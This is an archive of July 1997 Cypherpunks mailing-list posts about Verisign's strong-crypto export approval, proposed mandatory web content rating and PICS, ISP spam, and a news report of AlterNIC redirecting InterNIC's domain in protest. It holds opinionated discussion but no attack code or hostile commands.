From: frantz at netcom.com (Bill Frantz)
Date: Fri, 18 Jul 1997 00:34:18 +0800
Subject: Verisign gets export approval
In-Reply-To: <3.0.2.32.19970716235341.0072b670@netcom10.netcom.com>
Message-ID: 



It seems to me that someone who has a one year export approved Verisign
cert should use it to authenticate a new top-level CA cert which they pass
to their customers.  Cut Verisign and their nosy/noisy partner out of the
loop.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From nobody at replay.com  Thu Jul 17 10:09:51 1997
From: nobody at replay.com (Name Withheld by Request)
Date: Fri, 18 Jul 1997 01:09:51 +0800
Subject: No Subject
Message-ID: <199707171645.SAA09016@basement.replay.com>




On Wed, 16 Jul 1997 frissell at panix.com wrote:

> What ever happened to "de minimus non curat lex."  The social damage from a 
> misrated website is too trivial to be believed.  Punishing it is like 
> executing you for farting.

  In some cases that may not be a bad idea :). But getting back to the
original point, if I'm going to be subject to jail for mislabeling my
pages (and how do you tell, given that some systems use a numeric rating? 
count the nipples and add the size of any erections?) then that would 
seem to be a good reason to move my Web site out of America. 
  Idependent rating systems are a good thing, and we've talked about them
here many times in the past (e.g. 'repuation markets'). A mandatory
requirement for web authors to rate their own pages is a hideous idea
which will simply move more of the Web overseas, helping to destroy the US
economy. 

WebMonger 






From shamrock at netcom.com  Thu Jul 17 10:21:31 1997
From: shamrock at netcom.com (Lucky Green)
Date: Fri, 18 Jul 1997 01:21:31 +0800
Subject: Verisign gets export approval
In-Reply-To: <199707171339.JAA19638@homeport.org>
Message-ID: <3.0.2.32.19970717100056.00733db4@netcom10.netcom.com>



At 09:16 AM 7/17/97 -0700, Bill Frantz wrote:
>It seems to me that someone who has a one year export approved Verisign
>cert should use it to authenticate a new top-level CA cert which they pass
>to their customers.  Cut Verisign and their nosy/noisy partner out of the
>loop.

Only a valid VeriSign Global ID cert (an X.509 v3 cert with a special
extension) will activate the strong encryption in exportable browsers. This
is hardcoded into Navigator and Internet Explorer.


--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From rollo at artvark.com  Thu Jul 17 10:32:23 1997
From: rollo at artvark.com (Roland Silver)
Date: Fri, 18 Jul 1997 01:32:23 +0800
Subject: Icosahedral dice
Message-ID: 



Does anyone know of a source for a picture of a pair of icoshedral dice?


-- Rollo Silver 








From dlv at bwalk.dm.com  Thu Jul 17 10:39:04 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 18 Jul 1997 01:39:04 +0800
Subject: A.Jensen doesn't like Sympatico.ca
Message-ID: <7HuZ0D1w165w@bwalk.dm.com>



What do Timmy May and A.Jensen have in common?

They hate Toto's ISP:

From: pavanas at meridio.ccia.com (pavanas abludo incusus)
Newsgroups: news.admin.net-abuse.email
Subject: Re: Addresses for sympatico.ca and netcom.ca
Date: 16 Jul 1997 00:02:54 GMT
Organization: Aragorn Asteria
Lines: 45
Message-ID: 
References: <5qfv4p$ce3 at camel3.mindspring.com> <33CBE926.495E at swva.net> <33d6f
xt.36276030 at news.erols.com>
Reply-To: pavanas at bbs.mpcs.com
X-Newsreader: slrn (0.9.4.2 UNIX)
Path: altavista!news1.digital.com!data.ramona.vix.com!sonysjc!sonybc!newsjunki
xtns.net!newsfeeds.ans.net!portc02.blue.aol.com!bignews.mediaways.net!news-han
xtfn.de!newsserver.rrzn.uni-hannover.de!baghira.han.de!news.rz.uni-hildesheim.
xtfu-berlin.de!nntprelay.mathworks.com!infeed2.internetmci.com!newsfeed.intern
xtci.com!news.alt.net!pavanas

On Tue, 15 Jul 1997 22:07:46 GMT,
 Roswell Coverup  mused and hath written:

>
>On Tue, 15 Jul 1997 17:18:30 -0400, while digesting the latest ration
>of Spam & UCE "Patricia A. Shaffer"  wrote:
>
>>
>>I've at Enough.Of.It wrote:
>>> 
>>> Anyone have complaint addresses for these? I can't seem to find any that w
xt.
>>> 
>>> btw, Anyone noticed increasing spam from Canada?
>>> 
>>> ......
>>> :)avid
>>
>>Yes, sir ... about a half-dozen in the last week. One complaint sent to
>>sympatico's Administrative Contact bounced back "user unknown". I had
>>sent to postmaster as well, and that didn't bounce ... I'm learning ...
>>but no response, yet.
>>
>>Patricia
>
>I have never received a response from sympatico - they are a spam
>factory.
>
>
And then some... Despite repeated attempts I have never managed a response
of any kind from anyone at sympatico. Consider them a write off.

>--------
>JOWazzoo..aka Roswell Coverup
>BlueLister Tracker Downer - Robert. whatcha gonna do when they come for you??
>Very Disturbed Nerd,InterNUT BlueList,NetScum & NJ Swearer List
>Fight spam, support Rep. Chris Smith's TCPA extension by joining
>CAUCE: http://www.cauce.org

cheers

-- 
IHS
pavanas
        We are but dust and shadow.
                                        Quintus Horatius Flaccus    

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From tcmay at got.net  Thu Jul 17 10:50:49 1997
From: tcmay at got.net (Tim May)
Date: Fri, 18 Jul 1997 01:50:49 +0800
Subject: What is Truth?
In-Reply-To: <199707171645.SAA09016@basement.replay.com>
Message-ID: 



At 9:45 AM -0700 7/17/97, Name Withheld by Request wrote:
>On Wed, 16 Jul 1997 frissell at panix.com wrote:
>
>> What ever happened to "de minimus non curat lex."  The social damage from a
>> misrated website is too trivial to be believed.  Punishing it is like
>> executing you for farting.
>
>  In some cases that may not be a bad idea :). But getting back to the
>original point, if I'm going to be subject to jail for mislabeling my
>pages (and how do you tell, given that some systems use a numeric rating?

There are some core issues in this debate:

* What is truth? What is "adult material"? What is "violent material"? What
is "appropriate for 10-year-olds"?

* Who can possibly determine this?

I conclude that the only possible option (that will withstand review by the
courts, including eventually the Supreme Court) is "purely voluntary
labeling, including none."

Whether search engines or browsers will index or point to unlabelled
sites/material is of course up to _them_ (again, in a voluntary way).

The one possible legal sticking point is "misrepresentation" of labels. But
even this problem goes away.

Digital signatures prevent others from forging labels.

What's left is then the original issue, e.g., "What if Tim's Rating Service
says material is OK for children of all ages, and it isn't?" This is an
_opinion_ issue, and the State must not get involved in opinions.

There is no role whatsover for government in this issue, of course, any
more than there is any role for government in regulating, overseeing,
licensing, approving, or interfering with publishing in general.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From alan at ctrl-alt-del.com  Thu Jul 17 11:07:13 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Fri, 18 Jul 1997 02:07:13 +0800
Subject: 
In-Reply-To: <199707171645.SAA09016@basement.replay.com>
Message-ID: <3.0.2.32.19970717103257.040aa9e0@mail.teleport.com>



At 06:45 PM 7/17/97 +0200, Name Withheld by Request wrote:
>
>
>On Wed, 16 Jul 1997 frissell at panix.com wrote:
>
>> What ever happened to "de minimus non curat lex."  The social damage
from a 
>> misrated website is too trivial to be believed.  Punishing it is like 
>> executing you for farting.
>
>  In some cases that may not be a bad idea :). But getting back to the
>original point, if I'm going to be subject to jail for mislabeling my
>pages (and how do you tell, given that some systems use a numeric rating? 
>count the nipples and add the size of any erections?) then that would 
>seem to be a good reason to move my Web site out of America. 
>  Idependent rating systems are a good thing, and we've talked about them
>here many times in the past (e.g. 'repuation markets'). A mandatory
>requirement for web authors to rate their own pages is a hideous idea
>which will simply move more of the Web overseas, helping to destroy the US
>economy. 

Furthermore, if you have no smut on you page, but you link to offensive
content (rated or unrated) somewhere else, how does that rate?

A while back on a whim, I created a page that is based on a type of ambush
humor.  The link describes something in a way where you think you are going
to one thing, but go to something entirely different.  If they push
something where you have to label everything for the most clueless out
there, it will ruin the whole page.  (I find the idea that I might get
prosecuted for my Goth page absurd, but it is possible considering the
clueless morons in power.)  The page (outdated links and all) is at
http://www.ctrl-alt-del.com/~alan/goth.html .

Something else...  Why does the press refer to Gore in such terms that make
him look like he is some sort of techno-nerd?  The man is totally without
clues.  (I believe the proper term is "Connection to Clue-server refused by
host.")  The "Information Superhighway" that he was pushing was a souped-up
cable system for Ghod's sake!  (The extra bandwidth was going to be used by
starting movies every 10-15 minutes instead of having to wait.)  The
hearings on that were high clueless theatre...  Maybe Declan can due an
article on how far removed Gore really is from the process.  (But that
might offend his corporate masters...)

  
---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From ericm at lne.com  Thu Jul 17 11:26:19 1997
From: ericm at lne.com (Eric Murray)
Date: Fri, 18 Jul 1997 02:26:19 +0800
Subject: Verisign gets export approval
In-Reply-To: 
Message-ID: <199707171803.LAA25949@slack.lne.com>



Bill Frantz writes:
> 
> It seems to me that someone who has a one year export approved Verisign
> cert should use it to authenticate a new top-level CA cert which they pass
> to their customers.  Cut Verisign and their nosy/noisy partner out of the
> loop.

My understanding is that Verisign's licensing agreement
explicitly forbids using any certs they issue as CA certificates.
Maybe if the 'someone' paid Verisign an appropriate fee they
might allow it, but I'd bet that fee would be very high.
Verisign's no dummy, they don't want to enable new competition
to ride on their backs.

In the case of this special strong-crypto-allowing cert, Verisign
would probably be encouraged to discourage cert holders from
using the special Verisign certs as CA certs, for the very
reason you suggest. :-)

The format of the X.509 extensions that will enable strong crypto
operation will be known soon.  Even if Netscape et. al. tried to keep
them secret, since they're public certificates they'll be available to
anyone with an ASN.1 parser.


-- 
Eric Murray  ericm at lne.com  Security and cryptography applications consulting.
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF






From froomkin at law.miami.edu  Thu Jul 17 11:36:00 1997
From: froomkin at law.miami.edu (Michael Froomkin - U.Miami School of Law)
Date: Fri, 18 Jul 1997 02:36:00 +0800
Subject: Verisign gets export approval
In-Reply-To: <3.0.2.32.19970716215758.006f071c@popd.ix.netcom.com>
Message-ID: 




I think it tells us that Verisign managed to convince the government that
their product is only used for authentication, not encrypting content. 
Which appears currently to be true, no?  And since AFIK (Please, someone,
correct this if I'm wrong!) you can't with netscape anyway download
another party's key that you verify with a Verisign certificate, it would
take a fair amount of work for the ordinary user to set up a secure
channel using the current Verisign infrastructure.   

The ITAR exception for authentication-only products is of long standing.

On Wed, 16 Jul 1997, Bill Stewart wrote:

> Forwarded from PGP-USERS list:
> > First PGPInc and now VeriSign? Hmmm. Is this telling us something?
> 
>      "VeriSign on Monday said it received permission from 
>        the U.S. Department of Commerce to export 128-bit 
>        strong encryption software and issue digital 
>        identifications to approved organizations based on 
>        that software. "
> 
>      "Under the 128-bit scheme approved by the U.S. 
>       government Monday, companies will not need to 
>       place their encryption keys in escrow, or submit 
>       to U.S. government key-recovery requirements in 
>      order to use VeriSign's software, company officials said."
> 
> 
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)
> 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | froomkin at law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's @%#$%$# hot here. 






From alan at ctrl-alt-del.com  Thu Jul 17 11:45:05 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Fri, 18 Jul 1997 02:45:05 +0800
Subject: What is Truth?
In-Reply-To: <199707171645.SAA09016@basement.replay.com>
Message-ID: <3.0.2.32.19970717113355.03de9400@mail.teleport.com>



At 10:44 AM 7/17/97 -0700, Tim May wrote:
>There are some core issues in this debate:
>
>* What is truth? What is "adult material"? What is "violent material"? What
>is "appropriate for 10-year-olds"?

And not all 10-year olds are created equal.

Mine is able to handle alot of things that many adults cannot.  (She was in
the front row of the last H.P. Lovecraft film festival in the area.  Had
alot of fun and no nightmares.  Got some interesting looks from the people
running it...)  It depends on how the child was raised.  Most kids I have
seen are raised to be weak and fragile little ornaments for their parent's
ammusement.  They have little or no intelectual curiosity.  Many of them
have a hard time distinguishing fact from fiction.  (And some grow up that
way as well.)

>* Who can possibly determine this?

They will determine some standard, not based on any actual 10-year olds or
any knowledge of what is good for them.  It will be based on input from
various preasure groups as to what a "good little 10-year old" should be
like.  And what is "good for a 10-year old is good for America".

The real reason for these controls is to impose their "moral" views on the
rest of the net.  Children are of little concern here, except in enforcing
control over future generations.  What is important is exerting control
over the rest of the population.

>I conclude that the only possible option (that will withstand review by the
>courts, including eventually the Supreme Court) is "purely voluntary
>labeling, including none."

It will be as "purely voluntary" as taxes.  They will come up with various
"incentives" for pages to be rated.  Those "incentives" will be things like
"not being beaten with a rubber hose" or "not getting your feed to the net
cut".

>Whether search engines or browsers will index or point to unlabelled
>sites/material is of course up to _them_ (again, in a voluntary way).

But they will be "discouraged" through quasi-legal means from indexing
unrated and/or unauthourized pages.

Makes me want to build a web crawler that looks ONLY for offensive pages.

>The one possible legal sticking point is "misrepresentation" of labels. But
>even this problem goes away.

Labels are subjective.  I expect a few small fish will be made an example
of just to frighten others into complience.

>Digital signatures prevent others from forging labels.

If they are signed.  Many of the would-be labelers are not especially clued.

>What's left is then the original issue, e.g., "What if Tim's Rating Service
>says material is OK for children of all ages, and it isn't?" This is an
>_opinion_ issue, and the State must not get involved in opinions.

It comes down to an issue of "Lawyers, Guns and Money".  How bad do they
want to hurt you.  I expect that they will come up with some sort of
"certification authority" for labeling organizations.  Those who are not
"certified" will not be "recognised" by the filtering software.  

>There is no role whatsover for government in this issue, of course, any
>more than there is any role for government in regulating, overseeing,
>licensing, approving, or interfering with publishing in general.

And can you name ANY part of society that Government has been willing to
"leave alone"?  It does not matter what portion of society it is...  If it
is a "hot button issue", government feels compelled to get involved.  It is
part of the control freak nature of government.  Have you ever known a
government agency to "mind its own business"?  You are refering to a
philosophy not followed by the US government.

They will regulate until no Cypherpunk breathes free air...


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From rah at shipwright.com  Thu Jul 17 11:54:31 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 18 Jul 1997 02:54:31 +0800
Subject: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: 
Message-ID: 



At 5:15 am -0400 on 7/17/97, Peter D. Junger wrote:


> Corporations are just parts of the government that got away.  I have
> never understood why some, though far from all, libertarians bother
> to distinguish them from the other organs of the state.

There is considerable logic to this, viz:

1. Corporations would not exist without government charter. Consequently
they have to do what governments want them to do. Being incorporated in a
number of jurisdictions helps with this, of course.

2. There are partnership options which get the same level of limited
liability, we talked about them here two or three years ago...

3. If governments dissapeared tomorrow (heh...), then business would still
happen, and large businesses would still exist given the economics of scale
inherent in our still-moderately industrial society.


Geodesic internet commerce will probably involve 'swarms' of small business
entities operating in cash-settled auction markets for goods and services,
and so the need for the integrative function corporations provide for
resources and information will eventually dissolve...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From whgiii at amaranth.com  Thu Jul 17 12:08:22 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 18 Jul 1997 03:08:22 +0800
Subject: 
Message-ID: <199707171854.NAA01919@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

Due to a misbehaving mailing list I have lost some mail this morning. :(

If you have sent any message to me between 00:00-13:00 GMT-0400 today
please resend the message.

Also could someone from the mailing list send me copies of the messages
that I have missed.

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From info at hip97.nl  Thu Jul 17 12:20:00 1997
From: info at hip97.nl (Hacking In Progress)
Date: Fri, 18 Jul 1997 03:20:00 +0800
Subject: payment & tents
In-Reply-To: <19970708232101.17152.qmail@squirrel.owl.de>
Message-ID: <199707171908.VAA27907@smtp2.xs4all.nl>



On  8 Jul 97 at 23:21, Secret Squirrel wrote:

> Can you please tell me where tents (for 10+ people)
> can be bought/hired in the region of Amsterdam ?
> Some of us are eagerly trying to organise this aspect
> of the trip, and would welcome pointers.

Try for rent:

In Purmerend, Netherlands call 02994-20999

They rent army tents. But you'll have to arrange everything with 
them we can't do that. Expect around 350 guilders rent and about 1000 
for deposit.

Maurice


> Also, I cannot read the [INLINE] phone numbers to call
> with my credit card number - can you please publish
> both answers on your mailing list ?

Call in the Netherlands to 31 20 6263438

cu,

Maurice Wessling

--
Hacking in Progress
8-9-10 August
Tents, TCP/IP, Jolt and politics
http://www.hip97.nl/






From fnorky at geocities.com  Thu Jul 17 12:22:44 1997
From: fnorky at geocities.com (Doug Peterson)
Date: Fri, 18 Jul 1997 03:22:44 +0800
Subject: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: 
Message-ID: <33CE664A.82@geocities.com>



? the Platypus {aka David Formosa} wrote:
> 
>         Now I'm clearly not a 'merkin and have little knowlig of how your
> system works but I would have thourt creating a sepreate marking sceam for
> 'news sites' and makeing it illegal to misslable would be creating a
> licenced press and therefore unconstutional.
> 
Well, in theory, requiring a licenced press would violate the 1st
Amendment.

Requiring any kind of rateing on a web page would seem to be the same as
requiring a newspaper to rate itself to protect someone from reading a
story that would be offensive to her/him. I don't beleave the newspaper
industry would stand by and let that happen to them.

> You Say To People "Throw Off Your Chains" And The Make New Chains For
> Themselves? --Terry Pratchett
Hehe.  Who ever said people were smart?

-Doug






From fnorky at geocities.com  Thu Jul 17 12:50:25 1997
From: fnorky at geocities.com (Doug Peterson)
Date: Fri, 18 Jul 1997 03:50:25 +0800
Subject: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: <199707162332.QAA24337@slack.lne.com>
Message-ID: <33CE6F32.5647@geocities.com>



Eric Murray wrote:
> 
> Declan McCullagh writes:
> >
> >
> >
> > ---------- Forwarded message ----------
> > Date: Wed, 16 Jul 1997 14:16:47 -0500
> > From: Marc Rotenberg 
> > To: fight-censorship at vorlon.mit.edu
> > Subject: The Real Plan: Making the Net Safe for Censorship
> 
> That should be Making the Net Safe for SafeSurf.
> 
> The proposal is a classic example of "if you can't beat 'em in
> the marketplace, beat 'em in the legislature".  It would require
> a rating system while locking out new competition from the net
> censorshipratings field.   SafeSurf operates
> a ratings system.  Can you say "conflict of interest"?
> 
> Note provision 3, which stipuates that a rating must be "issued by a
> ratings service that has a minimum of 5,000 documented individuals usin
> its system to mark their data."
> 
> That'd kind of make it hard to start a competing ratings system, wouldn't it?
It like some unions I know.  You can't work unless you belong to the
union, but
you can't join the union unless you are working.

-Doug






From fnorky at geocities.com  Thu Jul 17 12:55:18 1997
From: fnorky at geocities.com (Doug Peterson)
Date: Fri, 18 Jul 1997 03:55:18 +0800
Subject: The Big Sellout
In-Reply-To: 
Message-ID: <33CE70C5.7B5A@geocities.com>



Brian Lane wrote:
> 
> Declan McCullagh wrote:
> >
> > I spoke to Netscape earlier today. The company previously had announced it
> > would support PICS in a future version of Navigator. Now it's pledging to
> > support PICS in the *next* version.
> >
> > -Declan
> 
>   I don't care if Netscape supports PICS or not, as long as I still have the
> freedom to turn that option off (and that it is preferrably not enabled by
> default, or indicates in an OBVIOUS way that it is active).
Even better, lets support web browsers that do not support PICS or any
other
rateing system.

 
>   This whole thing is a load of shit though. The government is professing
> to have control over thousands of private computers and networks. No one
> has to put their kids on the net (IMHO the damn thing is a large waste of
> time, they should be reading books or building things instead), so it must
> be the parents decision to give them access -- It is therefore the parents
> responsibility to monitor their kids activities, not the governments and not
> everyone elses.
Agreed.  I would extend that to say that it is the parents responsiblity
to
teach their kids to be able to handle the unknown in a responsible way.

-Doug






From fnorky at geocities.com  Thu Jul 17 13:11:38 1997
From: fnorky at geocities.com (Doug Peterson)
Date: Fri, 18 Jul 1997 04:11:38 +0800
Subject: i miss carol anne cyphergrrl
In-Reply-To: 
Message-ID: <33CE7333.28E8@geocities.com>



Peter G. Neumann wrote:
> 
> Dank U, Zooko!
> We are indeed on the horns of a dilemma.
> As long as the vendors can get away with crapware
> (with respect to security, reliability, robustness, etc.),
> there is no incentive to do better.  In info-peace, most
> folks don't care.  In info-war, the bad guys (on all sides)
> are delighted that the systems are flaky, and the good guys
> lose.  However, the governmental incentives that exist seem
> to opt for dumbing down -- despite the realization that
> governments cannot get x-worthy systems to satisfy their own
> needs.  Short-sighted parado[x|c]trinarianism abounds.
> Piet
Yes, but this keeps us security consultants in business :)

-Doug






From mctaylor at mta.ca  Thu Jul 17 13:13:30 1997
From: mctaylor at mta.ca (Michael C Taylor)
Date: Fri, 18 Jul 1997 04:13:30 +0800
Subject: A.Jensen doesn't like Sympatico.ca
In-Reply-To: <7HuZ0D1w165w@bwalk.dm.com>
Message-ID: 



On Thu, 17 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> They hate Toto's ISP:

Funny thing is that Sympatico.ca is NOT some fly-by-night ISP, but one of
the larger ISPs and has the deepest pockets. Sympatico is run by
the Stentor group, which is the Alliance of the provincal 'Bell' companies
in Canada. 

Each province buys the basic 'francise' from MediaLink (??) in Upper
Canada, and resells it and packages it how they want. 

I use Sympatico in New Brunswick (nb.sympatico.ca) which is a repackaging
of their NBNet service, but the admin is not the same as SaskTel
(sk.sympatico.ca) or Bell Canada (Ontario symaptico.ca). 

The problem is with is spam is not they do more of it, they are most
likely underqualified to fix the problem of non-Sympatico users using the
various Sympatico SMTP servers are a relay.

--
Michael C. Taylor  
"Nothing in this message should be assumed true."






From nobody at replay.com  Thu Jul 17 13:14:08 1997
From: nobody at replay.com (Name Withheld by Request)
Date: Fri, 18 Jul 1997 04:14:08 +0800
Subject: EuroEnglish
Message-ID: <199707172005.WAA14170@basement.replay.com>



Viz speling lik zis, ho neds kriptografy?

> --------------------------------------------------------------------
> ANNOUNCEMENT FROM THE EUROPEAN UNION COMMISSIONERS
> 
> An agreement has been reached to adopt English as the preferred
> language for European communications, rather than German, which was the
> other possibility.  As part of the negotiations, Her Majesty's Government
> conceded that English spelling has some room for improvement and has 
> accepted a five-year phased plan for what will be known as EuroEnglish
> (Euro for short).
> 
> In the first year, "s" will be used instead of "c".  Sertainly sivil
> servants will resieve this news with joy.  Also, the hard "c" will be
> replaced with "k".  Not only will this klear up konfusion, but komputers 
> and typewriters kan have one less letter.
> 
> There will be growing publik enthusiasm in the sekond year, when the
> troublesome "ph" will be replaced by "f".  This will make words like
> "fotograf" 20 per sent shorter.
> 
> In the third year, publik akseptanse of the new spelling kan be 
> expekted to reach the stage where more komplikated changes are
> possible.  Governments will enkorage the removal of double letters, 
> which have always ben a deterent to akurate speling.  Also, al wil agre 
> that the horible mes of silent "e"s in the languag is disgracful, and 
> they would go.
> 
> By the fourth year, peopl wil be reseptiv to steps such as replasing 
> "th" with "z" and "w" with "v".
> 
> During ze fifz year, ze unesesary "o" kan be dropd from vords kontaining 
> "ou", and similar changes vud of kors be aplid to ozer kombinations of 
> leters.  After zis fifz yer, ve vil hav a reli sensibl riten styl.  Zer 
> vil be no mor trubls or difikultis and evrivun vil find it ezi to 
> understand ech ozer.
> 
> ZE DREM VIL FINALI KUM TRU.
> 
> ---------------------------------------------------------------------
> 
> 
> 






From sar at box.cynicism.com  Thu Jul 17 13:25:38 1997
From: sar at box.cynicism.com (sar at box.cynicism.com)
Date: Fri, 18 Jul 1997 04:25:38 +0800
Subject: 
In-Reply-To: <199707171645.SAA09016@basement.replay.com>
Message-ID: <3.0.2.32.19970717150037.007b2a60@box.cynicism.com>



At 10:32 AM 7/17/97 -0700, you wrote:
>At 06:45 PM 7/17/97 +0200, Name Withheld by Request wrote:
>>
>>
>>On Wed, 16 Jul 1997 frissell at panix.com wrote:
>>
>>> What ever happened to "de minimus non curat lex."  The social damage
>from a 
>>> misrated website is too trivial to be believed.  Punishing it is like 
>>> executing you for farting.
>>
>>  In some cases that may not be a bad idea :). But getting back to the
>>original point, if I'm going to be subject to jail for mislabeling my
>>pages (and how do you tell, given that some systems use a numeric rating? 
>>count the nipples and add the size of any erections?) then that would 
>>seem to be a good reason to move my Web site out of America. 
>>  Idependent rating systems are a good thing, and we've talked about them
>>here many times in the past (e.g. 'repuation markets'). A mandatory
>>requirement for web authors to rate their own pages is a hideous idea
>>which will simply move more of the Web overseas, helping to destroy the US
>>economy. 
>
>Furthermore, if you have no smut on you page, but you link to offensive
>content (rated or unrated) somewhere else, how does that rate?
>
>A while back on a whim, I created a page that is based on a type of ambush
>humor.  The link describes something in a way where you think you are going
>to one thing, but go to something entirely different.  If they push
>something where you have to label everything for the most clueless out
>there, it will ruin the whole page.  (I find the idea that I might get
>prosecuted for my Goth page absurd, but it is possible considering the
>clueless morons in power.)  The page (outdated links and all) is at
>http://www.ctrl-alt-del.com/~alan/goth.html .
>
>Something else...  Why does the press refer to Gore in such terms that make
>him look like he is some sort of techno-nerd?  The man is totally without
>clues.  (I believe the proper term is "Connection to Clue-server refused by
>host.")  The "Information Superhighway" that he was pushing was a souped-up
>cable system for Ghod's sake!  (The extra bandwidth was going to be used by
>starting movies every 10-15 minutes instead of having to wait.)  The
>hearings on that were high clueless theatre...  Maybe Declan can due an
>article on how far removed Gore really is from the process.  (But that
>might offend his corporate masters...)
>
>  


What about a page saying "the hottest pics around" or "these girls must be
seen to be beliveved" or "want to see them take it all off?" but offering
no pictures the way most "porn" sites on the web do.
	How would you rate the implication that the page may contain sex or
violence if the site dosn't really contain much of anything. And if the
phrases themselves contain nothing objectionable would you have to rate the
implications?
	
	Maybe people should look on the bright side. Rating porn sites may keep
you from looking at 500 pages of links that contain no actualy pornography.
You could simply check the rating to see if there really is any sex. And
somebody could create an index that searches by rating, so you could seach
by sexual content. search for a 5 when you just want to see some skin , or
a 10 when you want to see a bit more.
	But of course people could just max the rating saying their site has more
sex than it actualy does. The powers that be would never stop them, who
would object to people saying their site is less suitable for children than
it really is.It would be like saying "this movie cant be rated r, they only
say fuck 3 times! send them all to jail for misrating the movie"







From azur at netcom.com  Thu Jul 17 13:36:09 1997
From: azur at netcom.com (Steve Schear)
Date: Fri, 18 Jul 1997 04:36:09 +0800
Subject: AlterNIC takes over InterNIC traffic
Message-ID: 



http://www.news.com/News/Item/0%2C4%2C12382%2C00.html?nd

AlterNIC takes over InterNIC traffic
   By Courtney Macavinta
July 14, 1997, 12:15 p.m. PT

 A rival domain name registry to the official Internet registrar,
InterNIC, redirected users from "www.internic.net" to its own  site last
weekend in what is being called a "protest."

 Netizens told CNET's NEWS.COM that they ended up at  AlterNIC, or
"www.alternic.net," after typing in InterNIC's  URL. AlterNIC was set up by
the enhanced Domain Name  Services to offer alternate top-level domains,
such as ".ltd,"  ".sex," and ".med."

 "By redirecting the domain name 'www.internic.net,' we are  protesting the
recent InterNIC claim to ownership of '.com,'  '.org,' and '.net,' which
they were supposed to be running in the  public trust," AlterNIC CFO Eugene
Kashpureff stated on his  site.

 "Our apologies for any trouble this DNS [domain name system]  protest has
caused you...We think we exercised restraint in the  use of our latest DNS
technology for this protest," the letter  states. "We terminated the
protest configuration at 8 a.m.  Monday, July 14."

 The AlterNIC site also contained a link that allowed visitors to  access
the actual InterNIC in the protest message.

 InterNIC is the registrar of the most valuable domain names, such  as
".com." It is administered in part by Network Solutions under  agreement
with the National Science Foundation, which ends in  March of next year.
During its tenure, Network Solutions has  collected approximately $78
million in registration fees.

 The protest is the latest move in the heated debate over who will  control
the Internet naming system, which has turned into a  lucrative business as
commercial entities fight to establish brand  awareness by using the most
coveted names. For example, the  name "business.com" was bought recently
from its registered  owner for $150,000.

 Last month, the Commerce Department asked for public comment  on the
future of the domain name system. An ad hoc committee  formed in part by
the Internet Society also proposed a plan last  year for replacing Network
Solutions and reconfiguring how the  names are handed out. Kashpureff said
he is protesting Network  Solutions' claim in its recent Securities and
Exchange filing that it  owned the property rights to ".com" and the other
popular  domains.

 "If they think they own the entire domain name space, I've got  news for
them. Over the weekend, I possessed their name," he  told CNET's NEWS.COM.

 No one at Network Solutions could be immediately reached to  comment on
whether the company will look into legal  ramifications for the rerouting
of its traffic by AlterNIC.

 Kashpureff wouldn't say how he managed to abduct InterNIC's  domain name
but did say he did it to demonstrate the system's  vulnerability. "I'm not
releasing how I did it because it would  take out the name service on the
Net. The hack was a result of a  years' worth of work under a project
called 'DNS Storm.'"

 Moreover, there is no telling how many registrations InterNIC  could have
lost due to the antic. But some Netizens who were  involuntarily
transported to the alternate site didn't seem to mind.

 "They do have a good point in the fact that those domain names  are
